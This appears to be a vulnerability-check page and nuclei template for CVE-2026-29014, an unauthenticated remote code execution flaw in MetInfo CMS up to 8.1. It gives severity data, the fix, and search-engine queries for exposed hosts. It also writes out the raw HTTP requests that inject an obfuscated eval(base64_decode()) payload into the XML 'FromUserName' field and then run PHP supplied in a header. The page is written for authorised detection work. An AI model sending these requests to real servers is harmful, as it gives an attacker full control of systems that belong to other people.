MetInfo CMS <= 8.1 - Remote Code Execution

criticalseverity

9.8CVSS score

39.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

MetInfo CMS 7.9, 8.0, and 8.1 contain an unauthenticated PHP code injection vulnerability caused by insufficient input neutralization in the execution path, letting remote attackers execute arbitrary code remotely, exploit requires crafted requests.

Impact

Remote attackers can execute arbitrary code, gaining full control over the affected server.

Fix

Update to the latest version beyond 8.1.

How to confirm it

Send: GET /
Positive when: contains_all(body, "MetInfo", "mituo") and status_code == 200
Send: POST /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi
Positive when: contains(body, "success") and status_code == 200
Send: POST /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi
Positive when: contains(content_type, "text/html") and contains(body, "{{result}}") and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-29014 -u <target>

The full check

id: CVE-2026-29014

info:
  name: MetInfo CMS <= 8.1 - Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
   MetInfo CMS 7.9, 8.0, and 8.1 contain an unauthenticated PHP code injection vulnerability caused by insufficient input neutralization in the execution path, letting remote attackers execute arbitrary code remotely, exploit requires crafted requests.
  impact: |
   Remote attackers can execute arbitrary code, gaining full control over the affected server.
  remediation: |
   Update to the latest version beyond 8.1.
  reference:
    - https://karmainsecurity.com/KIS-2026-06
    - https://www.metinfo.cn
    - https://nvd.nist.gov/vuln/detail/CVE-2026-29014
  classification:
    cve-id: CVE-2026-29014
    epss-score: 0.3949
    epss-percentile: 0.98624
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-94
  metadata:
    max-request: 3
    verified: true
    shodan-query: http.title:"MetInfo"
    fofa-query: app="MetInfo"
  tags: cve,cve2026,metinfo,rce,php,vkev

variables:
  num1: "{{rand_int(800000, 999999)}}"
  num2: "{{rand_int(800000, 999999)}}"
  result: "{{to_number(num1)*to_number(num2)}}"


flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "MetInfo", "mituo")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <x><MsgType>event</MsgType><Event>SCAN</Event><EventKey>adminlogin&#x26;../config/tables</EventKey><FromUserName>{${eval(base64_decode($_SERVER[chr(72).chr(84).chr(84).chr(80).chr(95).chr(67)]))}}.{${die()}}</FromUserName></x>

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "success")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /app/system/entrance.php?n=include&m=module&c=weixin&a=doapi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml
        C: {{base64("echo {{num1}}*{{num2}};die();")}}

        <x><MsgType>event</MsgType><Event>SCAN</Event><EventKey>adminlogin&#x26;Array</EventKey></x>

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "text/html")'
          - 'contains(body, "{{result}}")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from